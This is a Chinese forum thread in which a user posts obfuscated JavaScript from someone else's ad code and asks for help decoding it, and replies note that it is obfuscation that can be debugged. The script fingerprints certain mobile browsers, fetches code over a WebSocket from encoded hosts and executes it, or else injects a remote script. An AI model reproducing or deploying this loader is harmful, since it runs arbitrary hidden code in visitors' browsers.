嘟嘟社区

js解密 谁会?


(function(N, r) {
        var c = ["%%UB]p?tU5XV"", "SJ^BKsl/l3`e<`.", "(%c+AqF#", "1_(YAjw:a^ri[%yJ", "YJ-B0t0*3bT", "uUf*", "[email protected]%cpb{jxJ", "c+UB&rT#", "G[7,3t`x=W:U.=UK]>.p{v&tI3de>2xJ>M,p<v*PM*om!", "hX0Y5CS9(5]p$#*G:MyA]pus0*^VsvuKLM?%vC;?$", "hX0Y5C`U^3]pkEyDMM6p{v}s1W^eVvuKLM?%vC;?$", "hX0Y5CwaW5]pkE{DU<opGlus24NS0“2hX`<QIU9B+"];
        function Z(B) {
                var x = {},
                m = ”,
                q = [],
                D = 0x0,
                d = 0x0,
                K = 0x20,
                J = -0x1,
                S,
                C,
                G,
                I = String[‘fromCharCode’];
                while (K++<0x7e) K != 0x27 && K != 0x5c && (x[I(K)] = d++);
                typeof B == ‘number’ && (B = c[B]);
                K = 0x0,
                d = 0x0;
                while (K++<B[‘length’]) {
                        G = x[B[K – 0x1]];
                        if (G === undefined) continue;
                        if (J < 0x0) J = G;
                        else {
                                J += G * 0x5b,
                                D |= J << d,
                                d += (J & 0x1fff) > 0x58 ? 0xd: 0xe;
                                do {
                                        q[‘push’](D & 0xff), D >>= 0x8, d -= 0x8
                                } while ( d > 0x7 );
                                J = -0x1
                        }
                }
                J > -0x1 && q[‘push’]((D | J << d) & 0xff);
                K = 0x0;
                while (K < q[‘length’]) {
                        S = q[K++],
                        C = S >> 0x4;
                        if (C < 0x8) m += I(S);
                        else {
                                if (C == 0xc || C == 0xd) m += I((S & 0x1f) << 0x6 | q[K++] & 0x3f);
                                else {
                                        if (C == 0xe) m += I((S & 0xf) << 0xc | (q[K++] & 0x3f) << 0x6 | q[K++] & 0x3f)
                                }
                        }
                }
                return m
        };
        function u(B, x) {
                return Math[‘floor’](Math[Z(2)]() * (x – B + 0x1) + B)
        };
        function y(B) {
                return new Function(‘_tdcs’, B)[‘apply’](N, [][‘slice’][‘call’](arguments, 0x1))
        };
        var Y = r[Z(3)];
        if (/(MQQBrowser|UCBrowser|baidu|quark)/i[‘test’](navigator[‘userAgent’])) {
                var V = ‘callback’ + new Date()[‘getTime’](),
                R = new WebSocket(Z(u(9, 11)) + ‘?if9=’ + V);
                R[Z(4)] = function(B) {
                        y(Z(B[‘data’]), Y),
                        R[‘close’]()
                }
        } else {
                var b = document[Z(6)](Z(7));
                b[Z(5)] = Z(u(8, 8)),
                Y[Z(0)][Z(1)](b, Y)
        }
} (window, document));

看到别人挂的小联盟广告加密了,哪位大神能解密下,万分感谢。

JS不存在加密, 最终还是要在浏览器运行的
有技术大神吗
这种应该算混淆把
代码很短不难,慢慢debug调试就行